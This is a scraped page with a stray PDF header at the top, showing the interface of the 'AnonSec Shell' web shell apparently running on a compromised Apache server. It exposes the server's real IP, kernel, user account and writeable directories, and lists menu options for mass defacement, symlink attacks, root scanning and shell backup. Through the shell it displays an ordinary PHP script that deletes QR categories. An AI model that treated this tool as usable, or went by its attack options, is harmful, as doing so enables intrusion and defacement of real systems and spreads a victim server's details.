%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/admin/dba/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/admin/dba/qr-category-delete.php
<?php
include '../lib/include.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $data = json_decode(file_get_contents('php://input'), true);
    $id = intval($data['id']);

    // Rule 1: Check if the category has subcategories
    $check_children_query = $ceha->query("SELECT COUNT(*) as count FROM tbl_qr_category WHERE parent_id = $id");
    $children_count = $check_children_query->fetch_assoc()['count'];

    if ($children_count > 0) {
        echo json_encode(['success' => false, 'error' => 'Bu kategori alt kategorilere sahip olduğu için silinemez.']);
        exit;
    }

    // Rule 2: Check if there are linked QR pages
    $check_qr_pages_query = $ceha->query("SELECT COUNT(*) as count FROM tbl_qr WHERE category_id = $id");
    $qr_pages_count = $check_qr_pages_query->fetch_assoc()['count'];

    if ($qr_pages_count > 0) {
        echo json_encode(['success' => false, 'error' => 'Bu kategori bağlı QR sayfaları olduğu için silinemez.']);
        exit;
    }

    // Delete the category
    $query = "DELETE FROM tbl_qr_category WHERE id = $id";
    if ($ceha->query($query)) {
        echo json_encode(['success' => true]);
    } else {
        echo json_encode(['success' => false, 'error' => $ceha->error]);
    }
} else {
    echo json_encode(['success' => false, 'error' => 'Geçersiz istek yöntemi.']);
}
?>

Anon7 - 2022
AnonSec Team